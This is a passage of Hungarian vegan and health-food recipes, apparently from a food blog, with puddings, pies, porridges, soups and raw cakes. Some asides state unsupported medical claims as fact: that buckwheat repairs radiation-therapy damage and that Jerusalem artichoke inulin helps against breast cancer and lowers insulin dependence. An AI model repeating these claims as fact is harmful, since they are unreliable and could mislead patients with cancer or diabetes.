A málnát a kevés vízzel, xilittel, citromlével éppen csak “meglobbantjuk” és hozzáadjuk az útifűmaghéj őrleményt, amely most lékötőként fog működni.
Poharakba rétegezzük először a vanília pudingot, majd a málna öntetett, újra a vanília és a tetejére málna. Kókusztejszínnel meglocsoljuk a tetejüket és friss málnával, pattogtatott amaranttal díszitjük. Hűtőben lehűtjük, majd tálaljuk.
Meggyes -mákos pite
Anya a múltkor rengeteg meggyet kapott, így kreált egy nagy tepsi meggyes-mákos pitét, ami úgy fogyott el, mintha nem is lett volna. Kisülés után mire hazaért a szomszédból, már egy egész sornak hűlt helyét találta. :) Most pénteken úgy gondolta megismétli két tepsivel, lesz úgyis rá jelentkező. Hát volt. Még én is, hogy nekem meg barna tésztából süssön egy adagot, mert tényleg nyálcsurgató volt. Ő általában omlós, linzer tészta szerű alapot használ több féle sütinél. A habos diósnál és a habos kókuszosnál is pl. Én inkább egy vegán változatot kevertem be neki, ez nem olyan omlós, de nem is vártam el tőle, a mák és a meggy úgyis viszi. Hozzávalók: 40 dkg tk liszt 300 ml 100%-os gyümölcslé / növényi tej 6 kanál oliva olaj / 50 g kókuszzsír 2 ek gyümölcscukor / 40 sztívia csepp 2 ek kukoricadara 2 ek zabliszt 1 ek lenmagpehely 1 cs sütőpor (foszfátmentes borkő) 1 kg magozott meggy 1,5 bögre darált mák 1-2 ek gyümölcscukor / nyírfacukor A száraz hozzávalókat összekeverjük, majd beleöntjük az olajat, és a gyümölcslé nagy részét. (A meggy levét érdemes használni.) Ha a tészta kívánja a teljes folyadékmennyiséget hozzáadhatjuk, a liszt minőségétől függően igényelhet többet-kevesebbet. Amikor összeállt a tészta, a 2/3-át ujjnyi vastagságúra kinyújtjuk, és egy magas falú zsírpapírral kibélelt tepsibe helyezzük. 15 percig sütjük. Ezalatt kinyújtjuk a tészta maradékát, ez lesz a süti teteje. A 15 perc eltelte után a mákot gyorsan egyenletesen eloszlatjuk a félig sült tésztán. Rárétegezzük a levétől részben kinyomkodott meggyet, megszórjuk kevés cukorral, a tetejére kerül a tészta 1/3-a. Együtt még 20-25 percig alacsony hőfokon sütjük, míg kissé megpirul.
Nutellás tejberizs
2014. június 21. Éltető ételek
A nagylányom szinte nutella függő. Na de nem a bolti vackokat veszem neki, hanem én magam készítek mogyorókrémből. Úgyhogy, amibe nutella kerül, az rossz nem lehet... Tömény mogyoró íz, hmmm.... nagyon finom. Hozzávalók (3-4 fő): - 1 csésze kerekszemű barna rizs - vanília, fahéj - csipet só - víz - kb. 3-4 dl mandulatej - 3-4 evőkanál mogyorókrém - kakaópor - kókuszvirágcukor Elkészítés: A rizst jól átmosom, és száraz serpenyőben egy kicsit megpirítom. majd felöntöm 2,5x mennyiségű vízzel. Teszek hozzá egy csipet sót, fahéjat, vaníliát és egy kevés kókuszvirág cukrot.Kb. 1 óráig főzöm, közben NEM szabad megkeverni.Majd ráöntöm a mandulatejet, és még főzöm együtt (itt már szoktam keverni) úgy 20 percig.A végén tegyük hozzá a mogyorókrémet és szedjük tálkába.A tetejét szórjuk meg kókuszvirágcukros kakaóval.Jó étvágyat!
Pirosgyümölcsös-kókuszos krémleves
2014. június 21. Éltető ételek
Egy újabb nyers krémleves. Ilyenkor nyáron van igazából ezeknek a nyers gyümölcsleveseknek az időszaka. Gyümölcsből ilyenkor nincs hiány, bátran variálhatók az ízek. A mai levesbe meggy, cseresznye és málna került. Hozzávalók: - 2 csésze cseresznye - 1 csésze meggy - 1 csésze málna - 5 dkg kókuszreszelék - vanília, fahéj, csipet só - kb. 3 dl víz Elkészítés: - A magozott cseresznyét, meggyet és a málna felét a vízzel és a fűszerekkel turmixoljuk össze. - A kókuszreszeléket kávédarálón őrüljük meg, majd ezt a kókuszlisztet tegyük a leveshez. Ezzel is turmixoljuk össze. - Díszítsük málnával.
Kókuszos-meggyes muffin csokireszelékkel
2014. június 19. Éltető ételek
A muffin az egy olyan édesség, ami jöhet bármikor. A nagylányom már önállóan is meg tudja sütni ezeket, csak egy baj van vele... nem szeret elmosogatni utána. Mondtam is neki, csak akkor süthetsz, ha utána nem marad mosatlan. Azért így is neki szokott állni. Hozzávalók: Száraz összetevők: - 25 dkg liszt (zabliszt és teljes kiőrlésű fele-fele arányban) - 2 teáskanál szódabikarbóna - 10 dkg kókuszreszelék - kb. 5 dkg csokireszelék - késhegynyi vanília - csipet só Nedves összetevők: - 12 dkg méz (kókuszvirágcukor) - 12 dkg kókuszolaj/vaj - 15 dkg magozott meggy - 2 dl kókuszkrém - 1 evőkanál őrölt arany lenmag 2 evőkanál vízzel elkeverve (a tojást helyettesíti) Elkészítés: - A száraz hozzávalókat keverjük össze, majd külön a nedveset is. Laza mozdulatokkal dolgozzuk össze a kettőt. - A kókuszkrém dobozában van két kis csomag kókuszkrém. Az egyikre van szükség. Tegyük egy pohárba, majd öntsük fel annyi vízzel, hogy 2 dl legyen belőle. - A sütőt melegítsük elő 190 fokra, majd a 12 db-os muffin formába osszuk szét a masszát. Jó tele lesz, de nem baj. - Süssük kb. 25 percig. Fogyasztás előtt hagyjuk teljesen kihűlni, mert egy kicsit porhanyós még melegen. De nagyon finom ám!!Jó étvágyat!
Hajdinás pancake házi baracklekvárral
2014. június 19. Éltető ételek
Reggelire mindig gluténmentes ételt adok a gyerekeimnek, és a párom is előszeretettel szereti ezeket. Én többnyire gyümölcsöt reggelizek csak. Szóval ez a palacsinta nagyon egyszerűen elkészíthető, és nemcsak reggelire finom ám. Hozzávalók: - 1 banán - 2 dl mandulatej - 10 dkg hajdinaliszt - késhegynyi szódabikarbóna - 1 teáskanál fahéj - 1 teáskanál vanília - csipet só A hozzávalókból sűrű palacsintatésztát készítünk. 1 evőkanál mennyiséget forró palacsintasütőbe teszünk, és mindkét oldalát megsütjük. (Tegyünk alá egy kis kókuszolajat). Házi baracklekvárral, vagy akár kakaóporral, házi nutellával nagyon finom.
Villámgyors vegán túrógombóc
2014. június 15. Mindennapi ételeink
Olyan, mint az eredeti, ráadásul villámgyorsan elkészül és egészséges is. Hozzávalók: 3 dl növényi tej 0,5 kg natúr tofu 1 dl búzadara 5 ek. nyírfacukor 1 mk. só 2 csomag vaníliás cukor 1 citrom héja -- 10-15 dkg teljes őrlésű kenyérmorzsa 2 ek. kókuszzsír Elkészítés: A növényi tejből és a grízből sűrű tejbegrízt főzünk. Ízesítjük nyírfacukorral, vaníliás cukorral, citromhéjjal és sóval. Amíg hűl a tejbegríz, a tofut egy nagyon kevés vízzel homogén állagúra turmixoljuk, és megpirítjuk a zsiradékban a zsemlemorzsát. Majd összekeverjük a tofut a tejbegrízzel, majd gombócokat formálunk. Az előre kevés olajon megpirított zsemlemorzsába beleforgatjuk. Porcukorral megszórva, lekvárral tálaljuk. TIPP: tálaláskor együk szójajoghurttal.
Cseresznyés-barackos csokis pohárkrém
2014. június 14. Éltető ételek
Délutáni nasira nincs jobb és egyszerűbb egy ilyen pohárkrémnél. Sok sok gyümölcsre van szükség, melyeket kedvünk szerint variálhatunk. A krémek között egy kis kókuszos morzsa is van, mely kellemesen ropogóssá teszi azt. Hozzávalók (5 adag): Kókuszos morzsa: - 15 dkg áztatott, szárított mandula - 5 dkg kókuszreszelék - 5 dkg méz - 5 dkg hajdinacsíra - 1 evőkanál mandulakrém/mogyorókrém - pár csepp citromolaj - vanília Csokis avokádókrém: - 1 nagy érett avokádó - 2 érett banán - vanília - méz ízlés szerint Gyümölcskrém - 50 dkg őszibarack - 20 dkg cseresznye - 1 evőkanál útifűmaghéj - fahéj, vanília Tetejére: cseresznye, csokiforgács - Készítsük el a morzsát. A hajdinacsírát a végén keverjük hozzá. - A csokis avokádókrémnek is csak egy botmixer kell. - A barackot hámozzuk meg, és turmixoljuk össze. A cseresznyét kis darabokra vágjuk, és hozzákeverjük. - Egy pohárba tegyünk 1 evőkanál morzsát, rá 1-1 evőkanál csokikrémet és barackrémet. Ezt ismételjük addig, míg minden elfogy. - A tetejére kis darabokra vágott cseresznye kerül, és egy kis csokiforgács.
Erdei gyümölcsös hajdinakása
Mivel a hajdina gluténmentes gabona, és más gabonaféle nem lett hozzáadva, így egy gluténmentes reggeli receptjét közlöm most. Pohánka, pogánygabona, tatárka, tatárbúza, kruppa, haricska néven terjedt el bizonyos helyeken. A sugárterápia okozta egészségkárosodásokat képes helyreállítani, amennyiben gyakorta fogyasszák. M agas vérnyomás kezelésekor is ajánlott rendszeresen hajdinát fogyasztani. (Korábban pedig már jeleztem, hogy a fogyókúrákban is jó szolgálatot tesz.)
A recept:
Hozzávalók:
- ribizli, málna, szeder, szamóca, stb.
- 1 bögre (2,5-3 dl) hajdina
- datolya vagy mazsola
- víz
- növényi tej
- kókuszvirág cukor (vagy nyírfa cukor, xilit, stb.)
Elkészítés:
A hajdinát alaposan átmossuk, majd annyi vízzel, ami épp ellepi, elkezdjük főzni. A főzés során barnás színű habja keletkezik, amit kanállal leszedünk róla. Amikor a víz már elfőtt, hozzáöntünk egy kevés növényi tejet, amennyit még magába szív. A megpuhult hajdinakásához ízlés szerint keverünk feldarabolt datolyát. Ha nem elég édes így sem, kókuszvirág cukorral édesíthetjük még. (Ha télen fagyasztott gyümölcsöket használunk, akkor érdemes kiengedni, aztán a kásához keverni.) A megmosott, leszemezett gyümölcsöket a megfőtt hajdinához keverjük. Tálaláskor egy-két szál menta- vagy citromfűlevél feldobja az ízét.
Sült ananászkarika hajdinával (gluténmentes)
Desszertnek tálalva dekoratív és finom édesség, én mégis inkább reggelinek ajánlom, főleg fogyókúra programban részt vevőknek. Ennek pedig két oka van. Egyrészt az ananász magas rosttartalma miatt hamar jól lakottság érzést ad, emellett élénkítő, emésztést segítő, vízhajtó hatása van, tehát az anyagcsere folyamat serkentésében vesz részt. A másik ok, ami miatt fogyókúrázóknak ajánlom reggeliként ezt az ételt, az a hajdina, ami szintén magas rosttartalommal bír, nagy előnye, hogy a bélperisztaltika növelésén és a tranzitidő lerövidítésén keresztül jól alkalmazható székrekedéssel küzdők, cukorbetegek, valamint candida fertőzésben szenvedők számára. R ostban gazdag gabonaként a koleszterin megkötésével a szervezet vérzsír szintjét is mérsékeli. Karakteres íze zöldségekkel párosítva is finom. Ha a boltok polcairól hajdinát veszünk, érdemes figyelni arra, hogy a natúr hántolt hajdinát (világosbarna színe van) válasszuk, ne a pörköltet (sötétbarna színe van), mert könnyebb az ízét megszokni azoknak is, akik amúgy életükben még nem igazán próbálták ezt a nagyszerű gabonát.
A recept:
Hozzávalók:
- 1 ananász
- 1 nagyobb marék hajdina
- reszelt citrom vagy narancshéj
- datolya
- víz
- növényi tej
- kókuszvirág cukor (vagy nyírfa cukor, xilit, stb.)
Elkészítés:
A hajdinát alaposan átmossuk, majd annyi vízzel, ami épp ellepi, elkezdjük főzni. A főzés során barnás színű habja keletkezik, amit kanállal leszedünk róla. Amikor a víz már elfőtt, hozzáöntünk egy kevés növényi tejet, amennyit még magába szív. Közben elkészítjük az ananászt is. A meghámozott (nem befőtt!) ananászkarikákat sütőpapíros tepsibe fektetjük, egyik oldalukat megpirítjuk.
A megpuhult hajdinakásához ízlés szerint keverünk reszelt narancshéjat, esetleg előre beáztatott, feldarabolt datolyát. Ha nem elég édes így sem, kókuszvirág cukorral édesíthetjük még. A megpirult ananászkarikákat megfordítjuk és a pirult tetejükre halmozzuk a hajdinakását. Ananászkockákat darabolunk a tetejére és egy kicsit még átsütjük. Tálalásnál citromfűlevél darabokkal megszórhatjuk a tetejét. Királyi reggeli (vagy desszert).
Aszalt gyümölcsös bonbon
Szinte ez is nyers édesség, ajándék, leszámítva azt, hogy a máz nem nyersen lett összekeverve. Ha csak lehet, olyan aszalt gyümölcsöt használjunk, amit mi aszaltunk. Tavaly rengeteg apró szemű bio almát szedtem egy Tolna megyében élő rokonom fájáról. Emellett szilvát, nektarint, körtét és más gyümölcsöket is aszaltam. Főként ezek szolgáltak alapanyagul. Lehet, hogy kalóriabomba, de nagy előnye, hogy nem bírsz sokat enni belőle, másrészt pedig rostban gazdag táplálék, ami miatt inkább ajánlom ezt enni, ha édességre vágyunk, mint valami ipari úton készült bonbont. Gasztroajándéknak is nagyszerű! Én örülnék neki. :)
Hozzávalók:
- 1 bögrényi vegyes aszalt gyümölcs (alma, szilva, barack stb.)
- 2 alma
- 1/3 bögrényi őrölt lenmag
- 1/3 bögrényi kókuszreszelék
- 1/2 bögrényi darált dió
- reszelt (megmosott, ha lehet bio) narancshéj
- víz
Csokimáz:
- 2 evőkanál karobpor vagy kakaópor
- 2 evőkanál édesítő (kókuszvirág-cukor/gyümölcscukor/nyírfacukor, stb - vagy áztatott, majd szétpréselt datolya)
- 2 evőkanál kókusz zsír
- 3-4 evőkanál növényi tej
Elkészítés:
Gyorsaprító gépben az aszalt gyümölcsöket összeaprítjuk jó alaposan. Hozzáadjuk az almadarabokat és némi vizet, tovább aprítjuk az aprítógéppel. Ehhez a masszához keverjük az őrölt lenmagot, a kókuszreszeléket és az aprított vagy darált diót és a reszelt narancshéjat. Ha szükséges, vizet adunk hozzá, ha túl ragadós a tészta, akkor őrölt lenmagot/darált diót/kókuszreszeléket szórunk hozzá. Ha egy nagy gombócot tudunk formálni belőle, akkor elég tömör az anyag. Szív alakú jégkocka tartóba (szilikon) nyomkodjuk, majd 20-30 percre a fagyasztóba tesszük, hogy jól megdermedjen, ezután kinyomjuk a formákból. Csoki- vagy karobmázba forgatjuk. Hűtőben tároljuk. Csokimáz helyett darált mogyoró/dió-ba is hempergethetjük.
A máz elkészítése:
A kókuszzsírt megolvasztjuk (ha eleve nem folyékony), beleszórjuk a karobport, hozzáadunk ízlésünknek megfelelő mennyiségű édesítőt (nádcukor, nyírfacukor, stb.) Alacsony lángon forráspontig keverjük, majd egy kevés növényi tejet is hozzáadunk. Még kevergetjük, míg újra forrni kezd, lezárjuk, kihűtjük, majd a süteményt bevonjuk vele.
Epres palacsintatorta
Szépül, bővül a kemencém, ezért jár a Mesternek és a vendégeimnek a finomság ebéd után ;) Hozzávalók a palacsintához: 1 bögre teljes tönkölyliszt 1 bögre fehér liszt 1 tojás 1 csipet só 1/2 dl tej 1 késhegynyi szódabikarbóna 1 dl forrásvíz (kb) 1 diónyi kókuszzsír Az összetevőket habverővel simára keverem, majd icipicit kizsírozott serpenyőben kisütöm. […]
Csicseriborsós piláf
Nemrég a csapatépítőn volt lehetőségem az eredeti Pálma féle piláfot megkóstolnom. Nagyon finom volt, bár ebben is sok lehetőség rejlik attól függően, hogy milyen zöldséget teszünk bele. Hozzávalók: - 1 bögre barna rizs - 1 bögre éjszakára beáztatott csicseriborsó - 1 marék mazsola - 1 nagy hagyma - 4-5 gerezd fokhagyma - kb. 30 dkg csíkokra vágott káposzta, répa, zöldség, zeller - só, bors, chili, curry, római kömény, gyömbér - 1 evőkanál kókuszolaj Elkészítés: - A hagymát és a fokhagymát szeletekre vágjuk és olajon megfonnyasztjuk. Hozzáadjuk a csíkokra vágott káposztát és a köményt. Tovább pirítjuk. - A megmosott barnarizst hozzákeverjük (ezzel is pirítjuk), majd felöntjük 3x mennyiségű vízzel. Hozzátesszük a csicseriborsót és a mazsolát is. Fűszerezzük. - Kb. 1/2 óra elteltével hozzáadjuk a feldarabolt zöldségeket, és ellenőrízzük a fűszerezést. Még 1/2 óra főzés, és tálalható is.
Nutellás csiga
Csiga-biga gyere ki / Ég a háza Dideki.
Lázár Ervin Fruzsina nevű lánya még nagyon kicsi volt és így énekelte a versikét, amiből aztán megszülettek Berzsián és Dideki történetei. Nos ennek (a képen látható) csigáknak nem ég a háza, mert már mind elfogyott. Annyira finom volt. Közzé is teszem a receptjét - alant olvasható.
A recept:
Hozzávalók:
- 1 csomag élesztő
- 4 dl növényi tej
- 10 dkg kókuszzsír
- 35 dkg fehér liszt
- 15 dkg teljes kiőrlésű liszt
- 10 dkg őrölt zabpehely
- 2 ek nyírfacukor/nádcukor/kókuszvirágcukor, stb
- 2 ek kevés vízben áztatott őrölt lenmag
- csipetnyi só
- vanília
+ házilag készített nutella
Elkészítés:
Egy tálba vagy a kenyérsütő üstjébe belemorzsoljuk az élesztőt, hozzáadunk 2 ek édesítőszert (nyírfacukrot használtam), majd felöntjük a kézmeleg növényi tejjel. (A növényi tejet most rizstejporból készítettem el.) Várunk 1-2 percet, majd a fenti sorrendben hozzáadjuk a többi hozzávalót. Kenyérsütő gépünkbe tesszük és a dagasztás/kelesztés programra állítjuk. Ennek híjával fakanállal vagy a kezünkkel úgy gyúrjuk össze a tésztát, addig dagasztjuk kezünkkel, míg a táltól az elválik és hólyagocskák jelennek meg a dagasztás során. Ha kézzel dolgoztunk, meleg helyen konyharuhával letakarva kelesztjük. A kenyérsütő a program szerint elvégzi ezt.
A kész tésztát lisztezett deszkán kinyújtjuk, megkenjük jó alaposan házilag készített nutellával, és mint a kalácsot feltekerjük, majd szeleteket vágunk belőle, amiket sütőpapíros tepsire fektetünk. Közepes lángon megsütjük. A sütés utolsó 10 percében egy kis édes vaníliás növényi tejjel megkenjük a csigákat.
Finomságos édes falatok vendégvárónak vagy reggelire a gyerekeknek, a család többi tagjának is.
Kakaós zabkása
Néha boltban szoktam venni kakaós zabkását (porridge – Müller), de sokkal egészségesebb, ha házilag, otthon készítjük.
Én kakaósan szeretem a legjobban, de lehet pl. almával, és egyéb gyümölccsel (pl. aszalt gyümölccsel) is készíteni.
Hozzávalók: 2 dl növényi tej (pl. rizstej – én azt használok hozzá), 3 púpos evőkanál zabpehely, édesítésnek méz vagy xilit, kb. egy teáskanálnyi kakaópor (ízlés szerint). A teteje ízlés szerint díszíthető. (Én most virágport, mandulát, kesudiót és kókusz chipset szórtam rá.)
Elkészítés: A zabpelyhet a növényi tejben felfőzzük, hozzáadjuk a kakaóport, majd az édesítésnek szánt anyagot. Főzéskor a zabpehely egy kis nyákot ereszt és megdagad, így besűrűsödik.
Hamar készen van, laktató étel.
Tipp: Kakaópor helyett jó minőségű csokoládéval is készíthető, mely elolvad benne!
Jó étvágyat!
Csicsóka krémleves pirított répakarikákkal
Ugyan bizonyos éttermek étlapjára már fel-felkerült egy-két csicsókából készült étel, de úgy gondolom, még mindig nem terjedt el igazán eme remek étek. Néhány jó tulajdonságával szeretnék most kedvet adni arra, hogy ne féljünk tőle, vegyük fel a saját készítésű ételeink listájára. Először is, azoknak, akiknek kertjük van, érdemes csicsókát termeszteni, mert meglehetősen igénytelen, sőt a fagyok beállta előtt nem szükséges a földből kihúzni. Férjem édesanyja is így tett, tavasszal kaptunk tőle így néhány kiló frissen kihúzott csicsókát. Mindig csak akkor kell kihúzni, amikor felhasználásra kerül. Azt is mondják, hogy az egyszer elvetett csicsókát nem könnyű kiirtani. De ez se tántorítson el bennünket, hiszen fogyasztása kifejezetten előnyös pl. cukorbetegségben szenvedők részére. Magas rosttartalma két szempontból említendő: 1, Nem érdemes túlzásba vinni az egy alkalommal történő fogyasztását, mert könnyen puffadást idézhet elő (ez talán megelőzhető, ha az első és utolsó falatoknál őrölt lenmagot fogyasztunk hozzá). 2, Gátolja a szénhidrátok és hizlaló tápanyagok felszívódását. Mindemellett rendkívül laktató étel. Burgonyához képest mintegy ötször több rosttartalma van. Ásványi anyag tartalma is jelentős: kálcium, kálium, magnézium, foszfor, cink. Vitamintartalma: B1, B2, Niacin, C-vitamin, Bétakarotin. Két betegség kapcsán tennék még róla említést, amihez alapul a wikipédia (is) szolgál:
Mellrák esetén fogyasztása az alábbiak miatt javasolt:
Az étrendbe építhető inulin fogyasztása rizikómentes, és könnyedén alkalmazható a rákterápiában. A rákellenes hatás a Lactobacillus béta-glucuronidáz-gátlásán alapul. A béta-glucuronidáz a székletben található enzim a szervezet detoxikáló tevékenységét gátolja abban, hogy az ösztrogén egy kevésbé aktív, illetve kevésbé toxikus formában estriollá alakuljon át. Az ösztrogén toxikus formája ugyanis a mellrák rizikóját növeli. Az inulin a bélflóra normalizálása útján az ösztrogén legtoxikusabb formáját kiiktatja.
Cukorbetegség és elhízás esetén:
Cukorbetegség esetében az inulin mint szénhidrát-energiaforrás azért jelentős, mert a vércukorszintet tartós fogyasztás esetén sem emeli. Az inulin metabolizációjához nincs szükség inzulinra, sőt az inzulinfüggőséget is csökkenti, s a vércukorszint beállítását megkönnyíti.
A csicsókagumó fogyasztása azért is előnyös a mai, elhízáson alapuló népbetegségek megelőzésében, mert az inulin molekulahosszúsága miatt nem reszorbeálódik, emberben pedig (az inulináz enzim hiánya miatt) nem bontódik és legfeljebb a vastagbél baktériumflórája képes valamelyest feldolgozni. Így az inulin az emberi táplálkozásban csak ballasztanyagként jön számításba és fogyaszt. A burgonya mellett és helyett mind a népélelmezésben, mind az elhízottak és cukorbetegek diétájában felhasználható és hasznosítható, sőt e betegek még többet is fogyaszthatnak belőle.
Mindezek mellett a gumó egyedülálló regeneráló, hidratáló, bőrnyugtató, bőrtápláló és frissítő hatása miatt a kozmetikumként is hasznosítható. Most viszont egy étel-recept következik, amit elkészíteni rendkívül egyszerű:
A recept:
Hozzávalók:
- 50 dkg csicsóka
- 1 közepes szem krumpli
- 2-3 gerezd fokhagyma
- 3 dl növényi tej
- víz
- ételízesítő
- só
Elkészítés:
A csicsókát dörzs-szivaccsal és vízzel megtisztítjuk, apró kockákra vagy szeletekre vágjuk. A krumplit meghámozzuk, szintén felaprítjuk. Egy lábosba tesszük mindkettőt és f elöntjük annyi vízzel, hogy ellepje. Adunk hozzá úgy 1 kiskanálnyi sót és puhára főzzük. Ha megpuhult, összeturmixoljuk úgy, hogy közben fokozatosan adjuk hozzá a a fokhagymákat, a főtt csicsóka megmaradt levét és növényi tejet. Még egy kevés házi ételízesítővel, ha szükséges, megszórhatjuk, forralunk rajta egyet és kész is a csicsóka krémlevesünk. A répás levesbetét a következőképpen készül hozzá: Meghámozzuk a répákat, nagyon vékonyan (akár uborkareszelőn) felaprítjuk karikára. Enyhén kókuszzsíros vagy olajos serpenyőben megpirítjuk a répakarikákat. Tálaláskor egy kis tálkába tesszük a pirított répakarikákat, majd kanállal a levesünkbe szórjuk. Opcionálisan a főzés utolsó szakaszában aprított medvehagymát is adhatunk hozzá.
Csokis-epres torta (cukormentes, nyers)
Hosszú félig meddig külső kényszer-szünet (a technika sorozatban felbukkanó csínjai) után egy "költeménnyel" jelentkezem. A torta szintén megrendelésre készült. Mondhatni, hozzáadott cukrot nem tartalmaz. Sem nyírfa-, sem iparilag előállított gyümölcs-, sem kókuszvirág cukrot, sem mézet. Tulajdonképpen nyers kategóriába tehető, bár a zabpehely készítési eljárás miatt kicsit mégis tétovázva írom le, hogy nyers. Vitaminbank szerint: "A gabonapelyheket gőzöléssel és hengerek közötti lapítással állítják elő, legtöbbször a teljes gabonaszemből, ezért az egész gabonaszem összes tápanyagait tartalmazzák. Biológiai értékük jelentős. A zabot, az árpát, a hajdinát, és a kölest hántolják pelyhesítés előtt, a búza és a rozs azonban héjasan pelyhesíthető." Nyers vagy sem a képen szereplő gyönyörűség, meg kell hagyni, nem csak kinézetre kívánatos. Viszont előnye, hogy tömény édesség, így nem nagyon lehet sokat enni belőle. Másik előnye, hogy gyorsan kész. Arról nem beszélve, hogy jönnek a meleg nyári napok, amikor a sütőt nem szívesen kapcsoljuk be, akár más gyümölccsel díszítve is elkészíthetjük, ajándékba, hétvégi desszertnek, vendégváró falatnak.
A torta-alap receptje:
Hozzávalók:
1/2 kg darált zabpehely
15-20 dkg kókuszreszelék
víz
3 érett banán
Elkészítés:
A zabpelyhet és az enyhén megpirított kókuszreszeléket egy tálban összekeverjük, villával szétnyomkodott banánt keverünk hozzá, és annyi vizet öntünk rá, hogy az egészből egy nagy gömböcöt, egy golyót tudjunk gyúrni. Frissen tartó fóliával egy nagyobb tortaformát kibélelünk (a fólia nagyobb legyen, mint a forma, a magasabb peremét is érje) és a zabpelyhes alapot beleformázzuk. Jól belenyomkodjuk. Az alábbi csokikrémet elkenjük rajta, majd ötletünk szerint dekoráljuk. Ahogy a képen is látható, eper került a tetejére.
A csokikrém receptje:
Hozzávalók:
- 2 db érett nagy avokádó
- 2-3 dkg karobpor (mivel megrendelésre készült, kakaót használtam - abból több kell -, bár a karob egészségesebb)
- 5 dkg kókuszolaj
- 12-14 dkg datolya, meleg vízben áztatva legalább fél óráig
- 1 csipet tengeri só
Elkészítés:
Vegyük elő a turmixgépet (vagy egy erős aprítógépet) és a fentieket mindet, ebben a sorrendben tegyük bele. Indítsuk el, és hamarosan látni fogjuk hogy milyen fantasztikus krémet kapunk végeredménynek. Olyan krémet, mint a csokitorták csokikrémje. A kész krémet egyszerűen elkenjük a zabpehelyből készült tésztán, ennek a tetejére jöhetnek az eperszemek. Hűtőben tároljuk tálalásig. Tálalás előtt a fóliával kiemeljük a formából, lehúzzuk alóla a fóliát, az oldalát reszelt (előtte megmosott) narancshéjjal szórjuk meg. Egy szép tálcára téve tálalhatjuk is. Nagyon kiadós torta olyan értelemben, hogy nem sokat bír az ember belőle enni még akkor sem, ha édességfüggő.
Epres gyümölcstorta
2014. május 15. Lét-tudatos konyha
Hozzávalók: Tésztához: - 30 dkg búzaliszt - csipet só - 1 kávéskanál szódabikarbóna - 8 dkg növényi zsiradék (pálma- vagy kókuszzsír) - 2 evőkanál olaj - 2 evőkanál nádcukor - 1 evőkanál vaníliás cukor - 1citrom reszelt héja - 1 teáskanál citromlé - kb. 1 1/2 dl víz pudinghoz: - 4 dl tej (vagy növényi tej) - 1 csg vaníliás pudingpor - 2 evőkanál nádcukor zseléhez: - kb. 1,5 dl víz - 1-2 teáskanál agar-agar (növényi zselatin) - eper - tejszínhab forma kikenéséhez: kevés növényi zsiradék és liszt Elkészítése: A lisztet elkeverjük a sóval, szódabikarbónával, citromhéjjal. A felolvasztott növényi zsiradékot elkeverjük a cukrokkal, az olajjal, a citromlével és a vízzel. Hozzáadjuk a lisztes keverékhez. Kikent, kilisztezett, kisebb méretű gyümölcstorta-formába öntjük és 180 °C-on megsütjük. A pudinghoz a tejben elkeverjük és felfőzzük a pudingport, majd hozzáadjuk a cukrot. Mikor kihűlt, a tésztára öntjük. A torta tetejét félbevágott, feldarabolt eperszemekkel díszítjük. A zselés réteghez a hideg vízhez hozzákeverjük az agar-agart, kicsit főzzük, majd a tortára öntjük. Dermedni hagyjuk. Tálaláskor a tetejét tejszínhabbal díszítjük.
Karoböntetes kókuszkocka
2014. május 14. Mindennapi ételeink
Ez a kókuszkocka nagyon jó találmány, sajnálom, hogy Fannink még nem csemegézhette, megettük mi. Önmagában is tökéletes, de ezzel a karobos mártogatóssal sajnos abbahagyhatatlan... Hozzávalók: 1 zacskó kókuszkocka -- 2 ek. karob 5 dl víz 4 ek. kukoricakeményítő 2 dkg datolyaszirup 2 kk. kókuszzsír Elkészítés: A vizet (3 ek. kivételével) feltesszük főni, hozzáadjuk a kókuszzsírt, felforraljuk. A maradék vízzel kikeverjük a keményítőt és a karobot. Ezt hozzáöntjük a forrásban levő vízhez. Sűrűre főzzük, majd sziruppal édesítjük. Ebbe mártogatjuk a kókuszkockákat.
ZÖLDséges ragu főtt barna rizzsel
Ez az étel egy méregtelenítés során kiváló ebéd lehet. Gluténmentes, húsmentes és tejmentes. A benne lévő zöldségek kedvünkre választhatók, bár javaslom, hogy szép színes legyen. Hozzávalók (2-3 főre): - 2 szál újhagyma - 1 szál sárgarépa - 2 marék zöldborsó - 1 marék zöldbab - 1 marék brokkoli - 1-2 evőkanál zab és kölesliszt - energia fűszerkeverék - kis marék petrezselyem - só, bors - 1 evőkanál kókuszolaj Az elkészítése roppant egyszerű. A hagymát kezdjük el pirítani a kókuszolajon, majd adjuk hozzá a sárgarépát és többi zöldségeket. Fűszerezzük, majd öntsünk rá annyi vizet, hogy éppen ellepje. Mikor már roppanósra megfőtt a zöldség, szórjuk bele a lisztet, és főzzük még pár percig. Majd egy kis marék petrezselymet szórjunk bele. Főtt barna rizzsel tálaljuk.
Köles-krumpli tócsni
2014. május 6. Mindennapi ételeink
Nagyon finom feltét, egy újságban olvasta édesanyám az eredeti receptet, kifénymásolta, és én pedig kisebb variálást követően készítettem el. Hozzávalók: 2 nagyobb burgonya 15 dkg köles kb. 6 dl víz 2 ek. lenmagpehely 1 közepes vöröshagyma himalaya só - ízlés szerint bio levespor és ételízesítő - ízlés szerint 4-5 ek. kókuszzsír Elkészítés: A köleshez felforraljuk a vizet, majd forrás közben beleöntjük a kölest és fedő alatt, néha megkeverve kb. 20-30 perc alatt puhára főzzük. Ha szükséges, pótoljuk a vizet. A burgonyát héjában megfőzzük, kihűtjük majd egy tálban összetörtjük. A hagymát meghámozzuk, felkockázzuk, és 2 ek. kókuszzsír és ugyanannyi víz keverékén megpároljuk. A legvégén hozzáadjuk az ételízesítőt. Ezt és a főtt kölest, ill. a lenmagpelyhet is hozzáadjuk a krumplihoz. Egy tepsit kikenünk a kókuszzsírral, és a vizes kézzel megformázott tócsnikat beletéve 30 perc kb. 18 fokon alatt kisütjük, félidőben forgatjuk. Én a második adagba lenmagpelyhet sem tettem (ezt fotóztuk le) és így is összeállt.
Kókuszlisztes hajdina palacsinta – forró, piros gyümölcsös öntettel
A hajdinalisztes palacsintámat tovább fejlesztettem, egy kevés kókuszliszttel társítottam és így lazább, könnyebb lett, karakteres íze is finomodott. A titka, hogy kis méretű palacsintákat süssünk, így könnyedén megfordíthatjuk, egy mozdulattal, nem fog szétesni. Frissen, ropogósan tálaljuk a forró öntettel.
Hozzávalók: 6-8 db palacsinta
200 g hajdina liszt
200 g kókusz liszt
400 ml víz vagy rizstej
1 evőkanál steviol szirup vagy xilit
csipet só
késhegynyi őrölt bourbon vanília
Kókusz olaj a sütéshez
Öntet:
250 g vegyes erdei gyümölcsök: málna, eper, szeder, ribizli
1 evőkanál xilit vagy méz
késhegynyi őrölt fahéj
1/2 citrom leve
